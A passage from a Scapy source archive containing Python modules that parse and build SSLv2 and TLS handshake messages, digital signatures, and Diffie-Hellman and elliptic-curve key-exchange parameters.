s.compute_tls13_next_traffic_secrets("server", "read") ############################################################################### # All handshake messages defined in this module # ############################################################################### _tls_handshake_cls = {0: TLSHelloRequest, 1: TLSClientHello, 2: TLSServerHello, 3: TLSHelloVerifyRequest, 4: TLSNewSessionTicket, 8: TLSEncryptedExtensions, 11: TLSCertificate, 12: TLSServerKeyExchange, 13: TLSCertificateRequest, 14: TLSServerHelloDone, 15: TLSCertificateVerify, 16: TLSClientKeyExchange, 20: TLSFinished, 21: TLSCertificateURL, 22: TLSCertificateStatus, 23: TLSSupplementalData} _tls13_handshake_cls = {1: TLS13ClientHello, 2: TLS13ServerHello, 4: TLS13NewSessionTicket, 5: TLS13EndOfEarlyData, 8: TLSEncryptedExtensions, 11: TLS13Certificate, 13: TLS13CertificateRequest, 15: TLSCertificateVerify, 20: TLSFinished, 24: TLS13KeyUpdate} scapy-2.4.4/scapy/layers/tls/handshake_sslv2.py000066400000000000000000000536021372370053500215240ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2017 Maxence Tury # This program is published under a GPLv2 license """ SSLv2 handshake fields & logic. """ import struct from scapy.error import log_runtime, warning from scapy.utils import randstring from scapy.fields import ByteEnumField, ByteField, EnumField, FieldLenField, \ ShortEnumField, StrLenField, XStrField, XStrLenField from scapy.packet import Padding from scapy.layers.tls.cert import Cert from scapy.layers.tls.basefields import _tls_version, _TLSVersionField from scapy.layers.tls.handshake import _CipherSuitesField from scapy.layers.tls.keyexchange import _TLSSignatureField, _TLSSignature from scapy.layers.tls.session import (_GenericTLSSessionInheritance, readConnState, writeConnState) from scapy.layers.tls.crypto.suites import (_tls_cipher_suites, _tls_cipher_suites_cls, get_usable_ciphersuites, SSL_CK_DES_192_EDE3_CBC_WITH_MD5) ############################################################################### # Generic SSLv2 Handshake message # ############################################################################### _sslv2_handshake_type = {0: "error", 1: "client_hello", 2: "client_master_key", 3: "client_finished", 4: "server_hello", 5: "server_verify", 6: "server_finished", 7: "request_certificate", 8: "client_certificate"} class _SSLv2Handshake(_GenericTLSSessionInheritance): """ Inherited by other Handshake classes to get post_build(). Also used as a fallback for unknown TLS Handshake packets. """ name = "SSLv2 Handshake Generic message" fields_desc = [ByteEnumField("msgtype", None, _sslv2_handshake_type)] def guess_payload_class(self, p): return Padding def tls_session_update(self, msg_str): """ Covers both post_build- and post_dissection- context updates. """ self.tls_session.handshake_messages.append(msg_str) self.tls_session.handshake_messages_parsed.append(self) ############################################################################### # Error # ############################################################################### _tls_error_code = {1: "no_cipher", 2: "no_certificate", 4: "bad_certificate", 6: "unsupported_certificate_type"} class SSLv2Error(_SSLv2Handshake): """ SSLv2 Error. """ name = "SSLv2 Handshake - Error" fields_desc = [ByteEnumField("msgtype", 0, _sslv2_handshake_type), ShortEnumField("code", None, _tls_error_code)] ############################################################################### # ClientHello # ############################################################################### class _SSLv2CipherSuitesField(_CipherSuitesField): def __init__(self, name, default, dico, length_from=None): _CipherSuitesField.__init__(self, name, default, dico, length_from=length_from) self.itemfmt = b"" self.itemsize = 3 def i2m(self, pkt, val): if val is None: val2 = [] val2 = [(x >> 16, x & 0x00ffff) for x in val] return b"".join([struct.pack(">BH", x[0], x[1]) for x in val2]) def m2i(self, pkt, m): res = [] while m: res.append(struct.unpack("!I", b"\x00" + m[:3])[0]) m = m[3:] return res class SSLv2ClientHello(_SSLv2Handshake): """ SSLv2 ClientHello. """ name = "SSLv2 Handshake - Client Hello" fields_desc = [ByteEnumField("msgtype", 1, _sslv2_handshake_type), _TLSVersionField("version", 0x0002, _tls_version), FieldLenField("cipherslen", None, fmt="!H", length_of="ciphers"), FieldLenField("sidlen", None, fmt="!H", length_of="sid"), FieldLenField("challengelen", None, fmt="!H", length_of="challenge"), XStrLenField("sid", b"", length_from=lambda pkt:pkt.sidlen), _SSLv2CipherSuitesField("ciphers", [SSL_CK_DES_192_EDE3_CBC_WITH_MD5], _tls_cipher_suites, length_from=lambda pkt: pkt.cipherslen), # noqa: E501 XStrLenField("challenge", b"", length_from=lambda pkt:pkt.challengelen)] def tls_session_update(self, msg_str): super(SSLv2ClientHello, self).tls_session_update(msg_str) self.tls_session.advertised_tls_version = self.version self.tls_session.sslv2_common_cs = self.ciphers self.tls_session.sslv2_challenge = self.challenge ############################################################################### # ServerHello # ############################################################################### class _SSLv2CertDataField(StrLenField): def getfield(self, pkt, s): tmp_len = 0 if self.length_from is not None: tmp_len = self.length_from(pkt) try: certdata = Cert(s[:tmp_len]) except Exception: # Packets are sometimes wrongly interpreted as SSLv2 # (see record.py). We ignore failures silently certdata = s[:tmp_len] return s[tmp_len:], certdata def i2len(self, pkt, i): if isinstance(i, Cert): return len(i.der) return len(i) def i2m(self, pkt, i): if isinstance(i, Cert): return i.der return i class SSLv2ServerHello(_SSLv2Handshake): """ SSLv2 ServerHello. """ name = "SSLv2 Handshake - Server Hello" fields_desc = [ByteEnumField("msgtype", 4, _sslv2_handshake_type), ByteField("sid_hit", 0), ByteEnumField("certtype", 1, {1: "x509_cert"}), _TLSVersionField("version", 0x0002, _tls_version), FieldLenField("certlen", None, fmt="!H", length_of="cert"), FieldLenField("cipherslen", None, fmt="!H", length_of="ciphers"), FieldLenField("connection_idlen", None, fmt="!H", length_of="connection_id"), _SSLv2CertDataField("cert", b"", length_from=lambda pkt: pkt.certlen), _SSLv2CipherSuitesField("ciphers", [], _tls_cipher_suites, length_from=lambda pkt: pkt.cipherslen), # noqa: E501 XStrLenField("connection_id", b"", length_from=lambda pkt: pkt.connection_idlen)] def tls_session_update(self, msg_str): """ XXX Something should be done about the session ID here. """ super(SSLv2ServerHello, self).tls_session_update(msg_str) s = self.tls_session client_cs = s.sslv2_common_cs css = [cs for cs in client_cs if cs in self.ciphers] s.sslv2_common_cs = css s.sslv2_connection_id = self.connection_id s.tls_version = self.version if self.cert is not None: s.server_certs = [self.cert] ############################################################################### # ClientMasterKey # ############################################################################### class _SSLv2CipherSuiteField(EnumField): def __init__(self, name, default, dico): EnumField.__init__(self, name, default, dico) def i2m(self, pkt, val): if val is None: return b"" val2 = (val >> 16, val & 0x00ffff) return struct.pack(">BH", val2[0], val2[1]) def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def m2i(self, pkt, m): return struct.unpack("!I", b"\x00" + m[:3])[0] def getfield(self, pkt, s): return s[3:], self.m2i(pkt, s) class _SSLv2EncryptedKeyField(XStrLenField): def i2repr(self, pkt, x): s = super(_SSLv2EncryptedKeyField, self).i2repr(pkt, x) if pkt.decryptedkey is not None: dx = pkt.decryptedkey ds = super(_SSLv2EncryptedKeyField, self).i2repr(pkt, dx) s += " [decryptedkey= %s]" % ds return s class SSLv2ClientMasterKey(_SSLv2Handshake): """ SSLv2 ClientMasterKey. """ __slots__ = ["decryptedkey"] name = "SSLv2 Handshake - Client Master Key" fields_desc = [ByteEnumField("msgtype", 2, _sslv2_handshake_type), _SSLv2CipherSuiteField("cipher", None, _tls_cipher_suites), FieldLenField("clearkeylen", None, fmt="!H", length_of="clearkey"), FieldLenField("encryptedkeylen", None, fmt="!H", length_of="encryptedkey"), FieldLenField("keyarglen", None, fmt="!H", length_of="keyarg"), XStrLenField("clearkey", "", length_from=lambda pkt: pkt.clearkeylen), _SSLv2EncryptedKeyField("encryptedkey", "", length_from=lambda pkt: pkt.encryptedkeylen), # noqa: E501 XStrLenField("keyarg", "", length_from=lambda pkt: pkt.keyarglen)] def __init__(self, *args, **kargs): """ When post_building, the packets fields are updated (this is somewhat non-standard). We might need these fields later, but calling __str__ on a new packet (i.e. not dissected from a raw string) applies post_build to an object different from the original one... unless we hackishly always set self.explicit to 1. """ self.decryptedkey = kargs.pop("decryptedkey", b"") super(SSLv2ClientMasterKey, self).__init__(*args, **kargs) self.explicit = 1 def pre_dissect(self, s): clearkeylen = struct.unpack("!H", s[4:6])[0] encryptedkeylen = struct.unpack("!H", s[6:8])[0] encryptedkeystart = 10 + clearkeylen encryptedkey = s[encryptedkeystart:encryptedkeystart + encryptedkeylen] if self.tls_session.server_rsa_key: self.decryptedkey = \ self.tls_session.server_rsa_key.decrypt(encryptedkey) else: self.decryptedkey = None return s def post_build(self, pkt, pay): cs_val = None if self.cipher is None: common_cs = self.tls_session.sslv2_common_cs cs_vals = get_usable_ciphersuites(common_cs, "SSLv2") if len(cs_vals) == 0: warning("No known common cipher suite between SSLv2 Hellos.") cs_val = 0x0700c0 cipher = b"\x07\x00\xc0" else: cs_val = cs_vals[0] # XXX choose the best one cipher = struct.pack(">BH", cs_val >> 16, cs_val & 0x00ffff) cs_cls = _tls_cipher_suites_cls[cs_val] self.cipher = cs_val else: cipher = pkt[1:4] cs_val = struct.unpack("!I", b"\x00" + cipher)[0] if cs_val not in _tls_cipher_suites_cls: warning("Unknown ciphersuite %d from ClientMasterKey" % cs_val) cs_cls = None else: cs_cls = _tls_cipher_suites_cls[cs_val] if cs_cls: if (self.encryptedkey == b"" and len(self.tls_session.server_certs) > 0): # else, the user is responsible for export slicing & encryption key = randstring(cs_cls.cipher_alg.key_len) if self.clearkey == b"" and cs_cls.kx_alg.export: self.clearkey = key[:-5] if self.decryptedkey == b"": if cs_cls.kx_alg.export: self.decryptedkey = key[-5:] else: self.decryptedkey = key pubkey = self.tls_session.server_certs[0].pubKey self.encryptedkey = pubkey.encrypt(self.decryptedkey) if self.keyarg == b"" and cs_cls.cipher_alg.type == "block": self.keyarg = randstring(cs_cls.cipher_alg.block_size) clearkey = self.clearkey or b"" if self.clearkeylen is None: self.clearkeylen = len(clearkey) clearkeylen = struct.pack("!H", self.clearkeylen) encryptedkey = self.encryptedkey or b"" if self.encryptedkeylen is None: self.encryptedkeylen = len(encryptedkey) encryptedkeylen = struct.pack("!H", self.encryptedkeylen) keyarg = self.keyarg or b"" if self.keyarglen is None: self.keyarglen = len(keyarg) keyarglen = struct.pack("!H", self.keyarglen) s = (pkt[:1] + cipher + clearkeylen + encryptedkeylen + keyarglen + clearkey + encryptedkey + keyarg) return s + pay def tls_session_update(self, msg_str): super(SSLv2ClientMasterKey, self).tls_session_update(msg_str) s = self.tls_session cs_val = self.cipher if cs_val not in _tls_cipher_suites_cls: warning("Unknown cipher suite %d from ClientMasterKey" % cs_val) cs_cls = None else: cs_cls = _tls_cipher_suites_cls[cs_val] tls_version = s.tls_version or 0x0002 connection_end = s.connection_end wcs_seq_num = s.wcs.seq_num s.pwcs = writeConnState(ciphersuite=cs_cls, connection_end=connection_end, seq_num=wcs_seq_num, tls_version=tls_version) rcs_seq_num = s.rcs.seq_num s.prcs = readConnState(ciphersuite=cs_cls, connection_end=connection_end, seq_num=rcs_seq_num, tls_version=tls_version) if self.decryptedkey is not None: s.master_secret = self.clearkey + self.decryptedkey s.compute_sslv2_km_and_derive_keys() if s.pwcs.cipher.type == "block": s.pwcs.cipher.iv = self.keyarg if s.prcs.cipher.type == "block": s.prcs.cipher.iv = self.keyarg s.triggered_prcs_commit = True s.triggered_pwcs_commit = True ############################################################################### # ServerVerify # ############################################################################### class SSLv2ServerVerify(_SSLv2Handshake): """ In order to parse a ServerVerify, the exact message string should be fed to the class. This is how SSLv2 defines the challenge length... """ name = "SSLv2 Handshake - Server Verify" fields_desc = [ByteEnumField("msgtype", 5, _sslv2_handshake_type), XStrField("challenge", "")] def build(self, *args, **kargs): fval = self.getfieldval("challenge") if fval is None: self.challenge = self.tls_session.sslv2_challenge return super(SSLv2ServerVerify, self).build(*args, **kargs) def post_dissection(self, pkt): s = self.tls_session if s.sslv2_challenge is not None: if self.challenge != s.sslv2_challenge: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: invalid ServerVerify received [%s]", pkt_info) # noqa: E501 ############################################################################### # RequestCertificate # ############################################################################### class SSLv2RequestCertificate(_SSLv2Handshake): """ In order to parse a RequestCertificate, the exact message string should be fed to the class. This is how SSLv2 defines the challenge length... """ name = "SSLv2 Handshake - Request Certificate" fields_desc = [ByteEnumField("msgtype", 7, _sslv2_handshake_type), ByteEnumField("authtype", 1, {1: "md5_with_rsa"}), XStrField("challenge", "")] def tls_session_update(self, msg_str): super(SSLv2RequestCertificate, self).tls_session_update(msg_str) self.tls_session.sslv2_challenge_clientcert = self.challenge ############################################################################### # ClientCertificate # ############################################################################### class SSLv2ClientCertificate(_SSLv2Handshake): """ SSLv2 ClientCertificate. """ name = "SSLv2 Handshake - Client Certificate" fields_desc = [ByteEnumField("msgtype", 8, _sslv2_handshake_type), ByteEnumField("certtype", 1, {1: "x509_cert"}), FieldLenField("certlen", None, fmt="!H", length_of="certdata"), FieldLenField("responselen", None, fmt="!H", length_of="responsedata"), _SSLv2CertDataField("certdata", b"", length_from=lambda pkt: pkt.certlen), _TLSSignatureField("responsedata", None, length_from=lambda pkt: pkt.responselen)] def build(self, *args, **kargs): s = self.tls_session sig = self.getfieldval("responsedata") test = (sig is None and s.sslv2_key_material is not None and s.sslv2_challenge_clientcert is not None and len(s.server_certs) > 0) if test: s = self.tls_session m = (s.sslv2_key_material + s.sslv2_challenge_clientcert + s.server_certs[0].der) self.responsedata = _TLSSignature(tls_session=s) self.responsedata._update_sig(m, s.client_key) else: self.responsedata = b"" return super(SSLv2ClientCertificate, self).build(*args, **kargs) def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) s = self.tls_session test = (len(s.client_certs) > 0 and s.sslv2_key_material is not None and s.sslv2_challenge_clientcert is not None and len(s.server_certs) > 0) if test: m = (s.sslv2_key_material + s.sslv2_challenge_clientcert + s.server_certs[0].der) sig_test = self.responsedata._verify_sig(m, s.client_certs[0]) if not sig_test: pkt_info = self.firstlayer().summary() log_runtime.info("TLS: invalid client CertificateVerify signature [%s]", pkt_info) # noqa: E501 def tls_session_update(self, msg_str): super(SSLv2ClientCertificate, self).tls_session_update(msg_str) if self.certdata: self.tls_session.client_certs = [self.certdata] ############################################################################### # Finished # ############################################################################### class SSLv2ClientFinished(_SSLv2Handshake): """ In order to parse a ClientFinished, the exact message string should be fed to the class. SSLv2 does not offer any other way to know the c_id length. """ name = "SSLv2 Handshake - Client Finished" fields_desc = [ByteEnumField("msgtype", 3, _sslv2_handshake_type), XStrField("connection_id", "")] def build(self, *args, **kargs): fval = self.getfieldval("connection_id") if fval == b"": self.connection_id = self.tls_session.sslv2_connection_id return super(SSLv2ClientFinished, self).build(*args, **kargs) def post_dissection(self, pkt): s = self.tls_session if s.sslv2_connection_id is not None: if self.connection_id != s.sslv2_connection_id: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: invalid client Finished received [%s]", pkt_info) # noqa: E501 class SSLv2ServerFinished(_SSLv2Handshake): """ In order to parse a ServerFinished, the exact message string should be fed to the class. SSLv2 does not offer any other way to know the sid length. """ name = "SSLv2 Handshake - Server Finished" fields_desc = [ByteEnumField("msgtype", 6, _sslv2_handshake_type), XStrField("sid", "")] def build(self, *args, **kargs): fval = self.getfieldval("sid") if fval == b"": self.sid = self.tls_session.sid return super(SSLv2ServerFinished, self).build(*args, **kargs) def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) self.tls_session.sid = self.sid ############################################################################### # All handshake messages defined in this module # ############################################################################### _sslv2_handshake_cls = {0: SSLv2Error, 1: SSLv2ClientHello, 2: SSLv2ClientMasterKey, 3: SSLv2ClientFinished, 4: SSLv2ServerHello, 5: SSLv2ServerVerify, 6: SSLv2ServerFinished, 7: SSLv2RequestCertificate, 8: SSLv2ClientCertificate} scapy-2.4.4/scapy/layers/tls/keyexchange.py000066400000000000000000001047301372370053500207370ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # 2019 Romain Perez # This program is published under a GPLv2 license """ TLS key exchange logic. """ from __future__ import absolute_import import math import struct from scapy.config import conf, crypto_validator from scapy.error import warning from scapy.fields import ByteEnumField, ByteField, EnumField, FieldLenField, \ FieldListField, PacketField, ShortEnumField, ShortField, \ StrFixedLenField, StrLenField from scapy.compat import orb from scapy.packet import Packet, Raw, Padding from scapy.layers.tls.cert import PubKeyRSA, PrivKeyRSA from scapy.layers.tls.session import _GenericTLSSessionInheritance from scapy.layers.tls.basefields import _tls_version, _TLSClientVersionField from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip from scapy.layers.tls.crypto.groups import ( _ffdh_groups, _tls_named_curves, _tls_named_groups_generate, _tls_named_groups_import, _tls_named_groups_pubbytes, ) if conf.crypto_valid: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import dh, ec ############################################################################### # Common Fields # ############################################################################### _tls_hash_sig = {0x0000: "none+anon", 0x0001: "none+rsa", 0x0002: "none+dsa", 0x0003: "none+ecdsa", 0x0100: "md5+anon", 0x0101: "md5+rsa", 0x0102: "md5+dsa", 0x0103: "md5+ecdsa", 0x0200: "sha1+anon", 0x0201: "sha1+rsa", 0x0202: "sha1+dsa", 0x0203: "sha1+ecdsa", 0x0300: "sha224+anon", 0x0301: "sha224+rsa", 0x0302: "sha224+dsa", 0x0303: "sha224+ecdsa", 0x0400: "sha256+anon", 0x0401: "sha256+rsa", 0x0402: "sha256+dsa", 0x0403: "sha256+ecdsa", 0x0500: "sha384+anon", 0x0501: "sha384+rsa", 0x0502: "sha384+dsa", 0x0503: "sha384+ecdsa", 0x0600: "sha512+anon", 0x0601: "sha512+rsa", 0x0602: "sha512+dsa", 0x0603: "sha512+ecdsa", 0x0804: "sha256+rsaepss", 0x0805: "sha384+rsaepss", 0x0806: "sha512+rsaepss", 0x0807: "ed25519", 0x0808: "ed448", 0x0809: "sha256+rsapss", 0x080a: "sha384+rsapss", 0x080b: "sha512+rsapss"} def phantom_mode(pkt): """ We expect this. If tls_version is not set, this means we did not process any complete ClientHello, so we're most probably reading/building a signature_algorithms extension, hence we cannot be in phantom_mode. However, if the tls_version has been set, we test for TLS 1.2. """ if not pkt.tls_session: return False if not pkt.tls_session.tls_version: return False return pkt.tls_session.tls_version < 0x0303 def phantom_decorate(f, get_or_add): """ Decorator for version-dependent fields. If get_or_add is True (means get), we return s, self.phantom_value. If it is False (means add), we return s. """ def wrapper(*args): self, pkt, s = args[:3] if phantom_mode(pkt): if get_or_add: return s, self.phantom_value return s return f(*args) return wrapper class SigAndHashAlgField(EnumField): """Used in _TLSSignature.""" phantom_value = None getfield = phantom_decorate(EnumField.getfield, True) addfield = phantom_decorate(EnumField.addfield, False) class SigAndHashAlgsLenField(FieldLenField): """Used in TLS_Ext_SignatureAlgorithms and TLSCertificateResquest.""" phantom_value = 0 getfield = phantom_decorate(FieldLenField.getfield, True) addfield = phantom_decorate(FieldLenField.addfield, False) class SigAndHashAlgsField(FieldListField): """Used in TLS_Ext_SignatureAlgorithms and TLSCertificateResquest.""" phantom_value = [] getfield = phantom_decorate(FieldListField.getfield, True) addfield = phantom_decorate(FieldListField.addfield, False) class SigLenField(FieldLenField): """There is a trick for SSLv2, which uses implicit lengths...""" def getfield(self, pkt, s): v = pkt.tls_session.tls_version if v and v < 0x0300: return s, None return super(SigLenField, self).getfield(pkt, s) def addfield(self, pkt, s, val): """With SSLv2 you will never be able to add a sig_len.""" v = pkt.tls_session.tls_version if v and v < 0x0300: return s return super(SigLenField, self).addfield(pkt, s, val) class SigValField(StrLenField): """There is a trick for SSLv2, which uses implicit lengths...""" def getfield(self, pkt, m): s = pkt.tls_session if s.tls_version and s.tls_version < 0x0300: if len(s.client_certs) > 0: sig_len = s.client_certs[0].pubKey.pubkey.key_size // 8 else: warning("No client certificate provided. " "We're making a wild guess about the signature size.") sig_len = 256 return m[sig_len:], self.m2i(pkt, m[:sig_len]) return super(SigValField, self).getfield(pkt, m) class _TLSSignature(_GenericTLSSessionInheritance): """ Prior to TLS 1.2, digitally-signed structure implicitly used the concatenation of a MD5 hash and a SHA-1 hash. Then TLS 1.2 introduced explicit SignatureAndHashAlgorithms, i.e. couples of (hash_alg, sig_alg). See RFC 5246, section 7.4.1.4.1. By default, the _TLSSignature implements the TLS 1.2 scheme, but if it is provided a TLS context with a tls_version < 0x0303 at initialization, it will fall back to the implicit signature. Even more, the 'sig_len' field won't be used with SSLv2. #XXX 'sig_alg' should be set in __init__ depending on the context. """ name = "TLS Digital Signature" fields_desc = [SigAndHashAlgField("sig_alg", 0x0804, _tls_hash_sig), SigLenField("sig_len", None, fmt="!H", length_of="sig_val"), SigValField("sig_val", None, length_from=lambda pkt: pkt.sig_len)] def __init__(self, *args, **kargs): super(_TLSSignature, self).__init__(*args, **kargs) if (self.tls_session and self.tls_session.tls_version): if self.tls_session.tls_version < 0x0303: self.sig_alg = None elif self.tls_session.tls_version == 0x0304: # For TLS 1.3 signatures, set the signature # algorithm to RSA-PSS self.sig_alg = 0x0804 def _update_sig(self, m, key): """ Sign 'm' with the PrivKey 'key' and update our own 'sig_val'. Note that, even when 'sig_alg' is not None, we use the signature scheme of the PrivKey (neither do we care to compare the both of them). """ if self.sig_alg is None: if self.tls_session.tls_version >= 0x0300: self.sig_val = key.sign(m, t='pkcs', h='md5-sha1') else: self.sig_val = key.sign(m, t='pkcs', h='md5') else: h, sig = _tls_hash_sig[self.sig_alg].split('+') if sig.endswith('pss'): t = "pss" else: t = "pkcs" self.sig_val = key.sign(m, t=t, h=h) def _verify_sig(self, m, cert): """ Verify that our own 'sig_val' carries the signature of 'm' by the key associated to the Cert 'cert'. """ if self.sig_val: if self.sig_alg: h, sig = _tls_hash_sig[self.sig_alg].split('+') if sig.endswith('pss'): t = "pss" else: t = "pkcs" return cert.verify(m, self.sig_val, t=t, h=h) else: if self.tls_session.tls_version >= 0x0300: return cert.verify(m, self.sig_val, t='pkcs', h='md5-sha1') else: return cert.verify(m, self.sig_val, t='pkcs', h='md5') return False def guess_payload_class(self, p): return Padding class _TLSSignatureField(PacketField): """ Used for 'digitally-signed struct' in several ServerKeyExchange, and also in CertificateVerify. We can handle the anonymous case. """ __slots__ = ["length_from"] def __init__(self, name, default, length_from=None, remain=0): self.length_from = length_from PacketField.__init__(self, name, default, _TLSSignature, remain=remain) def m2i(self, pkt, m): tmp_len = self.length_from(pkt) if tmp_len == 0: return None return _TLSSignature(m, tls_session=pkt.tls_session) def getfield(self, pkt, s): i = self.m2i(pkt, s) if i is None: return s, None remain = b"" if conf.padding_layer in i: r = i[conf.padding_layer] del r.underlayer.payload remain = r.load return remain, i class _TLSServerParamsField(PacketField): """ This is a dispatcher for the Server*DHParams below, used in TLSServerKeyExchange and based on the key_exchange.server_kx_msg_cls. When this cls is None, it means that we should not see a ServerKeyExchange, so we grab everything within length_from and make it available using Raw. When the context has not been set (e.g. when no ServerHello was parsed or dissected beforehand), we (kinda) clumsily set the cls by trial and error. XXX We could use Serv*DHParams.check_params() once it has been implemented. """ __slots__ = ["length_from"] def __init__(self, name, default, length_from=None, remain=0): self.length_from = length_from PacketField.__init__(self, name, default, None, remain=remain) def m2i(self, pkt, m): s = pkt.tls_session tmp_len = self.length_from(pkt) if s.prcs: cls = s.prcs.key_exchange.server_kx_msg_cls(m) if cls is None: return Raw(m[:tmp_len]) / Padding(m[tmp_len:]) return cls(m, tls_session=s) else: try: p = ServerDHParams(m, tls_session=s) if pkcs_os2ip(p.load[:2]) not in _tls_hash_sig: raise Exception return p except Exception: cls = _tls_server_ecdh_cls_guess(m) p = cls(m, tls_session=s) if pkcs_os2ip(p.load[:2]) not in _tls_hash_sig: return Raw(m[:tmp_len]) / Padding(m[tmp_len:]) return p ############################################################################### # Server Key Exchange parameters & value # ############################################################################### # Finite Field Diffie-Hellman class ServerDHParams(_GenericTLSSessionInheritance): """ ServerDHParams for FFDH-based key exchanges, as defined in RFC 5246/7.4.3. Either with .fill_missing() or .post_dissection(), the server_kx_privkey or server_kx_pubkey of the TLS context are updated according to the parsed/assembled values. It is the user's responsibility to store and restore the original values if he wants to keep them. For instance, this could be done between the writing of a ServerKeyExchange and the receiving of a ClientKeyExchange (which includes secret generation). """ name = "Server FFDH parameters" fields_desc = [FieldLenField("dh_plen", None, length_of="dh_p"), StrLenField("dh_p", "", length_from=lambda pkt: pkt.dh_plen), FieldLenField("dh_glen", None, length_of="dh_g"), StrLenField("dh_g", "", length_from=lambda pkt: pkt.dh_glen), FieldLenField("dh_Yslen", None, length_of="dh_Ys"), StrLenField("dh_Ys", "", length_from=lambda pkt: pkt.dh_Yslen)] @crypto_validator def fill_missing(self): """ We do not want TLSServerKeyExchange.build() to overload and recompute things every time it is called. This method can be called specifically to have things filled in a smart fashion. Note that we do not expect default_params.g to be more than 0xff. """ s = self.tls_session default_params = _ffdh_groups['modp2048'][0].parameter_numbers() default_mLen = _ffdh_groups['modp2048'][1] if not self.dh_p: self.dh_p = pkcs_i2osp(default_params.p, default_mLen // 8) if self.dh_plen is None: self.dh_plen = len(self.dh_p) if not self.dh_g: self.dh_g = pkcs_i2osp(default_params.g, 1) if self.dh_glen is None: self.dh_glen = 1 p = pkcs_os2ip(self.dh_p) g = pkcs_os2ip(self.dh_g) real_params = dh.DHParameterNumbers(p, g).parameters(default_backend()) if not self.dh_Ys: s.server_kx_privkey = real_params.generate_private_key() pubkey = s.server_kx_privkey.public_key() y = pubkey.public_numbers().y self.dh_Ys = pkcs_i2osp(y, pubkey.key_size // 8) # else, we assume that the user wrote the server_kx_privkey by himself if self.dh_Yslen is None: self.dh_Yslen = len(self.dh_Ys) if not s.client_kx_ffdh_params: s.client_kx_ffdh_params = real_params @crypto_validator def register_pubkey(self): """ XXX Check that the pubkey received is in the group. """ p = pkcs_os2ip(self.dh_p) g = pkcs_os2ip(self.dh_g) pn = dh.DHParameterNumbers(p, g) y = pkcs_os2ip(self.dh_Ys) public_numbers = dh.DHPublicNumbers(y, pn) s = self.tls_session s.server_kx_pubkey = public_numbers.public_key(default_backend()) if not s.client_kx_ffdh_params: s.client_kx_ffdh_params = pn.parameters(default_backend()) def post_dissection(self, r): try: self.register_pubkey() except ImportError: pass def guess_payload_class(self, p): """ The signature after the params gets saved as Padding. This way, the .getfield() which _TLSServerParamsField inherits from PacketField will return the signature remain as expected. """ return Padding # Elliptic Curve Diffie-Hellman _tls_ec_curve_types = {1: "explicit_prime", 2: "explicit_char2", 3: "named_curve"} _tls_ec_basis_types = {0: "ec_basis_trinomial", 1: "ec_basis_pentanomial"} class ECCurvePkt(Packet): name = "Elliptic Curve" fields_desc = [FieldLenField("alen", None, length_of="a", fmt="B"), StrLenField("a", "", length_from=lambda pkt: pkt.alen), FieldLenField("blen", None, length_of="b", fmt="B"), StrLenField("b", "", length_from=lambda pkt: pkt.blen)] # Char2 Curves class ECTrinomialBasis(Packet): name = "EC Trinomial Basis" val = 0 fields_desc = [FieldLenField("klen", None, length_of="k", fmt="B"), StrLenField("k", "", length_from=lambda pkt: pkt.klen)] def guess_payload_class(self, p): return Padding class ECPentanomialBasis(Packet): name = "EC Pentanomial Basis" val = 1 fields_desc = [FieldLenField("k1len", None, length_of="k1", fmt="B"), StrLenField("k1", "", length_from=lambda pkt: pkt.k1len), FieldLenField("k2len", None, length_of="k2", fmt="B"), StrLenField("k2", "", length_from=lambda pkt: pkt.k2len), FieldLenField("k3len", None, length_of="k3", fmt="B"), StrLenField("k3", "", length_from=lambda pkt: pkt.k3len)] def guess_payload_class(self, p): return Padding _tls_ec_basis_cls = {0: ECTrinomialBasis, 1: ECPentanomialBasis} class _ECBasisTypeField(ByteEnumField): __slots__ = ["basis_type_of"] def __init__(self, name, default, enum, basis_type_of, remain=0): self.basis_type_of = basis_type_of EnumField.__init__(self, name, default, enum, "B") def i2m(self, pkt, x): if x is None: fld, fval = pkt.getfield_and_val(self.basis_type_of) x = fld.i2basis_type(pkt, fval) return x class _ECBasisField(PacketField): __slots__ = ["clsdict", "basis_type_from"] def __init__(self, name, default, basis_type_from, clsdict, remain=0): self.clsdict = clsdict self.basis_type_from = basis_type_from PacketField.__init__(self, name, default, None, remain=remain) def m2i(self, pkt, m): basis = self.basis_type_from(pkt) cls = self.clsdict[basis] return cls(m) def i2basis_type(self, pkt, x): val = 0 try: val = x.val except Exception: pass return val # Distinct ECParameters ## # To support the different ECParameters structures defined in Sect. 5.4 of # RFC 4492, we define 3 separates classes for implementing the 3 associated # ServerECDHParams: ServerECDHNamedCurveParams, ServerECDHExplicitPrimeParams # and ServerECDHExplicitChar2Params (support for this one is only partial). # The most frequent encounter of the 3 is (by far) ServerECDHNamedCurveParams. class ServerECDHExplicitPrimeParams(_GenericTLSSessionInheritance): """ We provide parsing abilities for ExplicitPrimeParams, but there is no support from the cryptography library, hence no context operations. """ name = "Server ECDH parameters - Explicit Prime" fields_desc = [ByteEnumField("curve_type", 1, _tls_ec_curve_types), FieldLenField("plen", None, length_of="p", fmt="B"), StrLenField("p", "", length_from=lambda pkt: pkt.plen), PacketField("curve", None, ECCurvePkt), FieldLenField("baselen", None, length_of="base", fmt="B"), StrLenField("base", "", length_from=lambda pkt: pkt.baselen), FieldLenField("orderlen", None, length_of="order", fmt="B"), StrLenField("order", "", length_from=lambda pkt: pkt.orderlen), FieldLenField("cofactorlen", None, length_of="cofactor", fmt="B"), StrLenField("cofactor", "", length_from=lambda pkt: pkt.cofactorlen), FieldLenField("pointlen", None, length_of="point", fmt="B"), StrLenField("point", "", length_from=lambda pkt: pkt.pointlen)] def fill_missing(self): """ Note that if it is not set by the user, the cofactor will always be 1. It is true for most, but not all, TLS elliptic curves. """ if self.curve_type is None: self.curve_type = _tls_ec_curve_types["explicit_prime"] def guess_payload_class(self, p): return Padding class ServerECDHExplicitChar2Params(_GenericTLSSessionInheritance): """ We provide parsing abilities for Char2Params, but there is no support from the cryptography library, hence no context operations. """ name = "Server ECDH parameters - Explicit Char2" fields_desc = [ByteEnumField("curve_type", 2, _tls_ec_curve_types), ShortField("m", None), _ECBasisTypeField("basis_type", None, _tls_ec_basis_types, "basis"), 